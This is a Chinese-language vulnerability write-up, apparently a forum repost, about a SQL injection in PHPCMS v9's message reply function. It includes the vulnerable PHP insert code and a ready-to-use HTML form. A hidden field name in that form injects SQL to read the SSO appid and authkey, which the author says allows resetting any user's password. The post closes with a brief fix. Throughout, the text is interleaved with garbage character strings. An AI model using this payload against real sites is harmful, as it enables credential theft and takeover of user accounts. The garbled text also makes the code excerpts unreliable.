|
简要描述:% l5 U3 V/ y$ H4 _3 l
d4 ^$ d$ o' C8 s
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
6 T% v, n; j e
, ]+ J7 x# A6 s8 ^/ B) v6 ]明天再更新下一个漏洞。
% c7 ]/ ]& P/ S4 V详细说明:
3 S6 g0 t9 t+ w8 M- ^在/phpcms9/phpcms/modules/message/index.php中有代码如下:
; W6 Q! U; Q: d) Y! N2 v) c9 Q8 k. o8 e2 ~' K
$messageid = $this->message_db->insert($_POST['info'],true);
& M4 N" x/ c @
; N4 M* [2 v& @" r+ g
8 H: Z' W. b- Rinsert方法是key value的,代码如下:0 O# o9 w }' n- t$ ~
$ B) C Y x" N7 ^; J+ m) t
public function insert($data, $table, $return_insert_id = false, $replace = false) {# ~& J4 u- @6 c! I) b9 Y+ M6 N
if(!is_array( $data ) || $table == '' || count($data) == 0) {
; e: M1 S; H5 {3 h. Q* R return false; N; ^" R! \/ O) O/ b
}3 J) n2 p: G( D: I! G5 h5 Z
6 Z" Y# |8 o9 R6 c8 r: @
$fielddata = array_keys($data);. S+ H4 x' u- U; V9 w5 k& V
$valuedata = array_values($data);. |- j$ r2 {. K ~) d; Z
array_walk($fielddata, array($this, 'add_special_char'));
5 @" z0 L D" `/ c M array_walk($valuedata, array($this, 'escape_string'));2 r2 K( @; m" c8 ^; v
$ k+ S9 X2 y" a; J; L G; Y $field = implode (',', $fielddata);" t; z; s4 w D: T
$value = implode (',', $valuedata);
" v' N- S' ~. B7 x/ {8 `- E- ?' m5 }* P' v0 A- ?6 @9 V
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
) |0 t* B' Z" |- B2 p $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';9 R! S5 q. Q: b
$return = $this->execute($sql);
9 i5 F% `1 j, I! Y3 @% V" m return $return_insert_id ? $this->insert_id() : $return;
: ?0 q- i. `# Y$ T: [2 E* E }& h Q' R4 C8 Z, S: k+ _
. c. F0 y" k( S2 O
& L0 p C7 m7 j% V: u% e
嗯,很遗憾的是# \8 j! q Y, t9 M, @! H
# \0 N0 U% _% s) qarray_walk($fielddata, array($this, 'add_special_char'));
' }; h/ T& a6 l7 B) W* r1 V/ @, Z* H7 o
& x* o$ O1 s q, z中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
+ [* ?; n, M( Z8 y8 Q& A
# k; Q( t+ ] g到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。5 h0 P1 K$ c7 l# h+ ~- v5 G
2 Z& B" w- U& X/ N! F& R
漏洞证明:
9 M6 _+ C" C$ o- s# P% n读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。9 n* Y- I( U* x, V/ d
& ~* Q; h1 ~: A0 y6 q( M
8 u: S+ ^# p( ~3 y' f/ J表单如下:用户名什么的得自己改一改。! h) @$ y+ q1 i* U( Z' R
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">* M& ^8 J* Z$ {* }& ^* U7 f- @8 R
<table width="100%" cellspacing="0" class="table_form">) y0 y, K K, T( L) G8 e
<tr>8 `, \4 s p- P. `0 ]
<th>标 题:</th>" z, O+ X% V( b
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
4 Y" H2 h( J; F4 q8 ~, J</tr> 0 k. E( n. H, ?- Q% S5 q( N+ H1 }
<tr>
5 Q/ R( I' N! a1 G7 P# P<th>内 容:</th>7 a4 p% y6 t; w, Y
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>8 }2 p& c; ~8 O ]3 S) u+ h2 I
</tr>- t" X6 ]* w0 G6 k o- L
<input type="hidden" name="info[replyid]" value="2" /> 3 W3 r- d7 d' w
<input type="hidden" name="info[send_to_id]" value="cc" />
; d/ v( G/ l) A& a, Y) H<input type="hidden" name="info[send_from_id]" value="hh">0 z4 S; o* t- W$ F+ x- Q& R
<!-- 漏洞的利用重点在这里开始 -->8 k$ g: K/ c Q% V4 \8 {
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
: B8 i& K! e6 o& n5 @<!-- 漏洞的利用重点在这里结束 -->6 ^: b5 J- S3 s- h* U- l7 q* i
<tr>$ l+ M9 u0 Z% \; n: O$ W, O+ X
<th>验证码:</th>' a- W$ z, M h% F1 L9 x
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
% V4 P( J3 G5 F" M* l6 X+ P</tr>% O8 u. _$ a0 Y4 p% z" w. y
<tr>
6 _& R8 j3 ~% i# c<td></td>
+ r; E6 q6 Z) o<td colspan="2"><label>
* T3 G) J3 t1 y+ k. X4 E2 Z5 Z: n<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
: C0 M& _4 e+ r( E; F; _. j</label></td>
# |& U% y# \& X A9 N% O/ u</tr>
, p4 X, T% _/ y$ P2 [ q7 V</table>
+ D$ E8 }4 x) r4 {8 p5 [. j% e3 q6 z</form>
3 s5 w) t% L7 p; P# i在add_special_char函数内对key做过滤就可以了。7 G' x! g' S/ }0 S; o
/ X5 }% G, X- k, ~" r$ a Z% D& h% ]; a
) v) w6 k8 u! [. J |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|